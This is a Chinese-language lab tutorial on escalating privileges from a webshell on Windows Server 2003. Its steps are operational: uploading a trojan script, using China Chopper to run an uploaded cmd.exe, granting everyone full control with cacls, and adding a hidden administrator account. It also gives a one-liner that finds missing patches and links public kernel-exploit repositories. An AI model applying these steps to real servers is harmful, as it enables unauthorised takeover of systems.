一.常見的提權方法
1.溢出漏洞提權
webshell能否提權成功,大多數在於中間件給的權限。中間件主要提供給網站一個運行的載體,沒有中間件網站是運行不起來的。
運維人員如果對網絡安全非常熟悉,那他一定不會以root權限去安裝中間件;如果是windows也一定不會以管理員賬戶去運行中間件,一定是以普通用戶來運行中間件。
所以,我們把普通用戶權限提升為管理員用戶權限。
cmd命令無法執行的原因
cmd命令執行原因:主要原因是cmd.exe被管理員降權或刪除,也有可能組件被刪除。
cmd命令執行解決方法:通過腳本木馬查找可讀可寫目錄,上傳cmd,調用cmd路徑執行命令(找可讀可寫目錄不要選帶空格目錄,選用空格目錄要用雙引號引起來)。
用Windows2003來做實驗
給2003上傳一個木馬文件
文件內容如圖
用中國菜刀軟件來連接
把本機或2003里的cmd.exe上傳到一個可讀可寫的文件里去
菜刀設置終端路徑:setp c:\wmpub\cmd.exe(這個命令的意思為:把我們的終端設置為指定的cmd.exe)
這個時候我們執行任何命令都是以這個cmd.exe來執行的,不是以利用操作系統的cmd.exe執行
提升權限,輸入命令 cacls "C:\wmpub" /t /p everyone:f(這條命令的意思是給C盤下的wmpub文件添加everyone的所有權限)
因為菜刀這里沒有交互,所以無法使用Y鍵功能。可以輸入命令 echo y|cacls "C:\wmpub" /t /p everyone:f 來解決,從而實現Y鍵功能。
這時查看文件wmpub,就會發現已經添加了everyone權限
這時我們菜刀的終端里執行任何命令都可以
提權常用命令
whoami ——查看用戶權限
systeminfo ——查看操作系統,補丁情況
ipconfig——查看當前服務器IP ipconfig /all
net user——查看當前用戶情況
netstat ——查看當前網絡連接情況 netstat –ano /netstat –an | find “ESTABLISHED”
tasklist ——查看當前進程情況 tasklist /svc
taskkill ——結束進程 taskkill -PID xx
net start ——啟動服務
net stop ——停止服務
舉例
添加用戶名為best,密碼為123456 輸入命令 net user best 123456 /add
我們創造的best用戶為普通用戶
將用戶名為best的用戶添加到管理員組,輸入命令 net localgroup administrators best /add
刪除best用戶,輸入命令 net user best /del
溢出漏洞提權實戰測試
命令行下執行檢測未打補丁的命令如下
systeminfo>micropoor.txt&(for %i in ( KB977165 KB2160329 KB2503665 KB2592799 KB2707511 KB2829361 KB2850851 KB3000061 KB3045171 KB3077657 KB3079904 KB3134228 KB3143141 KB3141780 ) do @type micropoor.txt|@find /i "%i"|| @echo %i you can fuck)&del /f /q /a micropoor.txt
根據漏洞編號查找工具
已對外公開exp注:
https://github.com/SecWiki/windows-kernel-exploits
https://github.com/WindowsExploits/Exploits
https://github.com/AusJock/Privilege-Escalation
舉例:選擇編號KB977165
輸入網址 https://docs.microsoft.com/zh-cn/security-updates/securitybulletins/2017/securitybulletins2017
進行提權(由於權限過高,所以在菜刀里看不出效果,所以在2003的cmd里建一個普通用戶,再進行提權)
在2003里建立一個普通用戶,如圖
在這個目錄下新建一個木馬文件123.asp
內容是
添加iuse和寫入權限
用菜刀連接一下
這時,就輸入 setp c:\wmpub\cmd.exe ,再添加用戶
上傳pr.exe到文件wmpubpr中
然后進入目錄wmpub中,就可以執行命令 (例如:pr.exe whoami),說明提權成功